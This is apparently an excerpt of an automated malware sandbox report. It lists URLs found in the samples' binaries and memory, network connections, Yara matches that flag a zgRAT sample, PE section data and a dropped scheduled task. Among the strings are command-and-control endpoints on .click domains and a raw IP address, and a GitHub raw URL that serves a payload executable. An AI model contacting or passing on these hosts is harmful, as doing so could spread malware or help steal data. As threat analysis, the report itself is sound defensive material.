Source: d3ba7fdf70.exe, 00000012.00000002.2854922891.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namex
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifier
Source: powershell.exe, 00000014.00000002.2693671904.0000000004C66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0$dnoa.request_nonce
Source: 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0/signonNhttp://specs.openid.net/auth/2.0/serverdhttp://specs.openid.
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/oauth/1.0
Source: 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/pape/1.0
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0/icon
Source: 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0hhttp://specs.openid.net/extensions/ui/1.0/mode/popupfhttp:
Source: 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/icon
Source: powershell.exe, 00000014.00000002.2693671904.0000000004C66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/no-pii.pdf
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/
Source: 7349a3c308.exe, 0000000C.00000003.2626990694.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 7349a3c308.exe, 0000000C.00000003.2626990694.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: svchost.exe, 0000000E.00000002.2644831991.000000000289C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe
Source: svchost.exe, 0000000E.00000002.2644831991.000000000289C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex
Source: 7349a3c308.exe, 0000000C.00000003.2571534599.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2571665051.00000000055F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/transfer.aspx
Source: 7349a3c308.exe, 0000000C.00000003.2631678667.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 44098beb09.exe, 0000000A.00000002.2638678032.0000000003967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: 7349a3c308.exe, 0000000C.00000003.2571534599.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2571665051.00000000055F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 7349a3c308.exe, 0000000C.00000003.2571534599.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2571665051.00000000055F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 7349a3c308.exe, 0000000C.00000003.2571534599.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2571665051.00000000055F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 7349a3c308.exe, 0000000C.00000003.2752515980.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/
Source: 7349a3c308.exe, 0000000C.00000003.2659449824.0000000000F3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/--U
Source: 7349a3c308.exe, 0000000C.00000003.2681153210.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/2
Source: 7349a3c308.exe, 0000000C.00000003.2681153210.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/B
Source: 7349a3c308.exe, 0000000C.00000003.2727136567.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/Z
Source: 7349a3c308.exe, 7349a3c308.exe, 0000000C.00000003.2726909766.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000002.2757630773.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2681153210.0000000000F26000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2726909766.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2750378110.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2727136567.0000000000F26000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000002.2758616096.0000000000F29000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000002.2757630773.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2751160269.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2570358917.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2750378110.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2570358917.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2752515980.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/api
Source: 7349a3c308.exe, 0000000C.00000003.2726909766.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/api1
Source: 7349a3c308.exe, 0000000C.00000003.2659449824.0000000000F3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/api2OK
Source: 7349a3c308.exe, 0000000C.00000003.2681153210.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apiCl
Source: 7349a3c308.exe, 0000000C.00000003.2570358917.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apiF
Source: 7349a3c308.exe, 0000000C.00000002.2758616096.0000000000F29000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2752515980.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apiTx
Source: 7349a3c308.exe, 0000000C.00000002.2758616096.0000000000F29000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2752515980.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/r
Source: 7349a3c308.exe	String found in binary or memory: https://cheapptaxysu.click:443/api
Source: 7349a3c308.exe, 0000000C.00000003.2681153210.0000000000F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click:443/apir
Source: 7349a3c308.exe, 0000000C.00000003.2631678667.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 44098beb09.exe, 0000000A.00000002.2638678032.0000000003967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 00000014.00000002.2700609333.0000000005B77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000014.00000002.2700609333.0000000005B77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000014.00000002.2700609333.0000000005B77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 7349a3c308.exe, 0000000C.00000003.2571534599.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2571665051.00000000055F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 7349a3c308.exe, 0000000C.00000003.2571534599.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2571665051.00000000055F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 7349a3c308.exe, 0000000C.00000003.2571534599.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2571665051.00000000055F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: d3ba7fdf70.exe, 00000012.00000002.2854922891.0000000002DF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: powershell.exe, 00000014.00000002.2693671904.0000000004C66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, d3ba7fdf70.exe, 00000012.00000000.2647211913.0000000000A72000.00000002.00000001.01000000.00000010.sdmp, d3ba7fdf70.exe, 00000012.00000002.2854922891.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, d3ba7fdf70.exe, 00000012.00000002.2854922891.0000000002D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe
Source: 44098beb09.exe, 0000000A.00000002.2638678032.0000000003967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=
Source: 7349a3c308.exe, 0000000C.00000003.2631678667.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: 44098beb09.exe, 0000000A.00000002.2637712384.0000000001413000.00000004.00000020.00020000.00000000.sdmp, 44098beb09.exe, 0000000A.00000002.2637238113.000000000139D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/
Source: 44098beb09.exe, 0000000A.00000002.2637712384.0000000001413000.00000004.00000020.00020000.00000000.sdmp, 44098beb09.exe, 0000000A.00000002.2637712384.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, 44098beb09.exe, 0000000A.00000002.2637238113.000000000139D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/api
Source: 44098beb09.exe, 0000000A.00000002.2637712384.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/apimmon
Source: 44098beb09.exe, 0000000A.00000002.2636895993.000000000136C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click:443/api
Source: powershell.exe, 00000014.00000002.2700609333.0000000005B77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: d3ba7fdf70.exe, 00000012.00000002.2854922891.0000000002E26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: d3ba7fdf70.exe, 00000012.00000002.2854922891.0000000002E26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sci.libertyreserve.com/
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: 7349a3c308.exe, 0000000C.00000003.2572138850.0000000005655000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 7349a3c308.exe, 0000000C.00000003.2631136892.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 7349a3c308.exe, 0000000C.00000003.2631136892.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 7349a3c308.exe, 0000000C.00000003.2598184093.0000000005607000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2572394930.0000000005607000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2598360080.0000000005607000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2572138850.0000000005653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 7349a3c308.exe, 0000000C.00000003.2572394930.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 7349a3c308.exe, 0000000C.00000003.2598184093.0000000005607000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2572394930.0000000005607000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2598360080.0000000005607000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2572138850.0000000005653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 7349a3c308.exe, 0000000C.00000003.2572394930.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 44098beb09.exe, 0000000A.00000002.2638678032.0000000003967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: 7349a3c308.exe, 0000000C.00000003.2571534599.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2571665051.00000000055F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 7349a3c308.exe, 0000000C.00000003.2571534599.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2571665051.00000000055F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 7349a3c308.exe, 0000000C.00000003.2631136892.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 7349a3c308.exe, 0000000C.00000003.2631136892.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 7349a3c308.exe, 0000000C.00000003.2631136892.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 7349a3c308.exe, 0000000C.00000003.2631136892.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 7349a3c308.exe, 0000000C.00000003.2631136892.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822

Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49889 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Code function: 10_2_004329C0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

10_2_004329C0

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Code function: 10_2_004329C0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

10_2_004329C0

Source: 63ebe314bb.exe, 0000000D.00000003.2631972056.0000000005200000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_9bae8219-e

Source: 63ebe314bb.exe, 0000000D.00000003.2631972056.0000000005200000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_6f9b07b7-2

Source: Yara match	File source: 13.3.63ebe314bb.exe.5200000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.63ebe314bb.exe.5420000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.svchost.exe.5060000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.svchost.exe.4e40000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.svchost.exe.5060000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000003.2631972056.0000000005200000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2636944370.0000000005060000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2632161414.0000000005420000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2635852169.0000000004E40000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 63ebe314bb.exe PID: 1196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 5740, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.2.44098beb09.exe.3723198.2.raw.unpack, type: UNPACKEDPE

Matched rule: Detects zgRAT Author: ditekSHen

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[2].exe.5.dr	Static PE information: section name:
Source: random[2].exe.5.dr	Static PE information: section name: .idata
Source: random[2].exe.5.dr	Static PE information: section name:
Source: 85e92d03ea.exe.5.dr	Static PE information: section name:
Source: 85e92d03ea.exe.5.dr	Static PE information: section name: .idata
Source: 85e92d03ea.exe.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: 7349a3c308.exe.5.dr	Static PE information: section name:
Source: 7349a3c308.exe.5.dr	Static PE information: section name: .idata
Source: 7349a3c308.exe.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: .idata
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: 63ebe314bb.exe.5.dr	Static PE information: section name:
Source: 63ebe314bb.exe.5.dr	Static PE information: section name: .idata
Source: 63ebe314bb.exe.5.dr	Static PE information: section name:
Source: random[2].exe1.5.dr	Static PE information: section name:
Source: random[2].exe1.5.dr	Static PE information: section name: .idata
Source: random[2].exe1.5.dr	Static PE information: section name:
Source: 26539a5c18.exe.5.dr	Static PE information: section name:
Source: 26539a5c18.exe.5.dr	Static PE information: section name: .idata
Source: 26539a5c18.exe.5.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_0091CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

5_2_0091CB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A45C83	0_2_00A45C83
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4735A	0_2_00A4735A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A88860	0_2_00A88860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A44DE0	0_2_00A44DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B58101	0_2_00B58101
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A44B30	0_2_00A44B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B57B6E	0_2_00B57B6E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_009478BB	1_2_009478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00947049	1_2_00947049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00948860	1_2_00948860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_009431A8	1_2_009431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00904B30	1_2_00904B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00904DE0	1_2_00904DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00942D10	1_2_00942D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0094779B	1_2_0094779B
